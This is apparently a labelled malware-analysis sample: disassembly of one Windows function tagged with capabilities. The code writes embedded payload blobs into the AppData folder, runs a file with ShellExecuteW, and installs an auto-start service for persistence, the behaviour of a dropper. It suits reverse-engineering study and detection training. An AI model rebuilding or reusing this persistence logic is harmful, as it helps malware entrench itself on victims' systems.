Function at 0x419d60
Capabilities:
Create process on windows
Create service
Get common file path
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4365ce
mov eax, dword fs:[0]
push eax
sub esp, 0x230
mov eax, dword [0x46d624]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
xor edi, edi
push 0x206
lea ecx, [ebp - 0x21a]
xor eax, eax
push edi
push ecx
mov dword [ebp - 4], edi
mov word [ebp - 0x21c], ax
call fcn.0042a550
add esp, 0xc
push edi
push 0x1a
lea edx, [ebp - 0x21c]
push edx
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x41a274
lea eax, [ebp - 0x21c]
push eax
lea ecx, [ebp - 0x234]
call fcn.00404420
mov edx, dword [0x46d5a4]
mov eax, dword [edx + 0xc]
mov ecx, 0x46d5a4
mov byte [ebp - 4], 1
call eax
add eax, 0x10
mov dword [ebp - 0x220], eax
lea ecx, [ebp - 0x224]
push 0x46cbd8
push ecx
mov byte [ebp - 4], 2
call fcn.004178e0
add esp, 8
lea edx, [ebp - 0x238]
push 0x46cc18
push edx
mov byte [ebp - 4], 3
call fcn.004178e0
add esp, 8
mov eax, dword [ebp - 0x224]
mov bl, 4
mov byte [ebp - 4], bl
cmp dword [eax - 0xc], edi
je 0x41a1dc
mov ecx, dword [ebp - 0x238]
cmp dword [ecx - 0xc], edi
je 0x41a1dc
lea edx, [ebp - 0x234]
push edx
lea ecx, [ebp - 0x220]
call fcn.00418f50
mov eax, dword [ebp - 0x224]
push eax
lea ecx, [ebp - 0x220]
call fcn.00418e40
cmp eax, edi
je 0x41a1dc
mov ecx, dword [ebp - 0x220]
push edi
push ecx
call fcn.00419b60
add esp, 8
cmp eax, edi
je 0x41a1dc
mov edx, dword [ebp - 0x238]
push edx
lea ecx, [ebp - 0x220]
call fcn.00418e40
cmp eax, edi
je 0x41a1dc
push edi
lea ecx, [ebp - 0x220]
call fcn.00418da0
cmp eax, edi
je 0x41a1dc
mov eax, dword [ebp - 0x220]
push 0x157ec
push 0x43cb70
push eax
call fcn.00418820
add esp, 0xc
cmp eax, edi
je 0x41a1dc
lea ecx, [ebp - 0x220]
push ecx
lea ecx, [ebp - 0x224]
call fcn.00418f50
call fcn.00405830
cmp eax, edi
je 0x419f6a
lea edx, [ebp - 0x228]
push 0x46cb60
push edx
call fcn.004178e0
add esp, 8
lea eax, [ebp - 0x22c]
push 0x46cb9c
push eax
mov byte [ebp - 4], 5
call fcn.004178e0
add esp, 8
lea ecx, [ebp - 0x224]
mov byte [ebp - 4], 6
call fcn.00418d40
mov ecx, dword [ebp - 0x22c]
mov edx, dword [ebp - 0x228]
push ecx
push edx
lea ecx, [ebp - 0x224]
call fcn.00418a20
lea ecx, [ebp - 0x22c]
call fcn.004182a0
lea ecx, [ebp - 0x228]
mov byte [ebp - 4], bl
call fcn.004182a0
lea eax, [ebp - 0x23c]
push 0x46cc40
push eax
call fcn.004178e0
add esp, 8
lea ecx, [ebp - 0x230]
push 0x46cc88
push ecx
mov byte [ebp - 4], 7
call fcn.004178e0
add esp, 8
mov edx, dword [ebp - 0x23c]
mov byte [ebp - 4], 8
cmp dword [edx - 0xc], edi
je 0x41a1c6
mov eax, dword [ebp - 0x230]
cmp dword [eax - 0xc], edi
je 0x41a1c6
lea ecx, [ebp - 0x234]
push ecx
lea ecx, [ebp - 0x220]
call fcn.00418f50
mov edx, dword [ebp - 0x23c]
push edx
lea ecx, [ebp - 0x220]
call fcn.00418e40
cmp eax, edi
je 0x41a1c6
mov eax, dword [ebp - 0x220]
push edi
push eax
call fcn.00419b60
add esp, 8
cmp eax, edi
je 0x41a1c6
mov ecx, dword [ebp - 0x230]
push ecx
lea ecx, [ebp - 0x220]
call fcn.00418e40
cmp eax, edi
je 0x41a1c6
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
test eax, eax
je 0x41a1c6
mov edx, dword [ebp - 0x220]
push 0x1a76d
push 0x452380
push edx
call fcn.00418820
add esp, 0xc
cmp eax, edi
je 0x41a1c6
mov eax, dword [ebp - 0x220]
push eax
call fcn.00418590
add esp, 4
cmp eax, edi
je 0x41a1c6
lea ecx, [ebp - 0x228]
push str.mA_wd9i
push ecx
call fcn.004178e0
add esp, 8
lea edx, [ebp - 0x22c]
push 0x46cd18
push edx
mov byte [ebp - 4], 9
call fcn.004178e0
add esp, 8
mov ecx, dword [ebp - 0x228]
mov byte [ebp - 4], 0xa
cmp dword [ecx - 0xc], edi
je 0x41a1b0
mov eax, dword [ebp - 0x22c]
cmp dword [eax - 0xc], edi
je 0x41a1b0
cmp dword [0x46e5c8], edi
je 0x41a0c5
push 1
push eax
mov eax, dword [ebp - 0x224]
push ecx
push edi
push eax
jmp 0x41a0ff
push edi
push eax
push ecx
mov ecx, dword [ebp - 0x224]
push edi
push ecx
call fcn.00404bf0
mov esi, eax
add esp, 0x14
cmp esi, edi
je 0x41a111
call fcn.00403aa0
cmp eax, edi
je 0x41a109
mov edx, dword [ebp - 0x22c]
mov eax, dword [ebp - 0x228]
mov ecx, dword [ebp - 0x224]
push 1
push edx
push eax
push edi
push ecx
call fcn.00404bf0
mov esi, eax
add esp, 0x14
cmp esi, edi
jne 0x41a1a6
mov edx, dword [ebp - 0x224]
mov eax, dword [ebp - 0x228]
push edx
push eax
call fcn.00408440
mov ecx, dword [ebp - 0x224]
add esp, 8
push edi
push edi
push edi
push ecx
push edi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
call fcn.00403aa0
test eax, eax
je 0x41a1a6
push 3
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov esi, eax
test esi, esi
je 0x41a1a6
mov edx, dword [ebp - 0x224]
mov eax, dword [ebp - 0x228]
push 0
push 0
push 0
push 0
push 0
push edx
push 0
push 2
push 0x10
push 0x12
push eax
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
test eax, eax
je 0x41a18c
push eax
mov edi, 1
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test edi, edi
je 0x41a1a6
mov eax, dword [ebp - 0x228]
push eax
call fcn.004084c0
add esp, 4
call fcn.0041afd0
call fcn.0041adb0
lea ecx, [ebp - 0x22c]
call fcn.004182a0
lea ecx, [ebp - 0x228]
call fcn.004182a0
lea ecx, [ebp - 0x230]
call fcn.004182a0
lea ecx, [ebp - 0x23c]
call fcn.004182a0
mov eax, dword [ebp - 0x238]
add eax, 0xfffffff0
mov byte [ebp - 4], 3
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41a202
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [ebp - 0x224]
add eax, 0xfffffff0
mov byte [ebp - 4], 2
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41a228
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [ebp - 0x220]
add eax, 0xfffffff0
mov byte [ebp - 4], 1
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41a24e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [ebp - 0x234]
add eax, 0xfffffff0
mov byte [ebp - 4], 0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41a274
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0042a541
mov esp, ebp
pop ebp
ret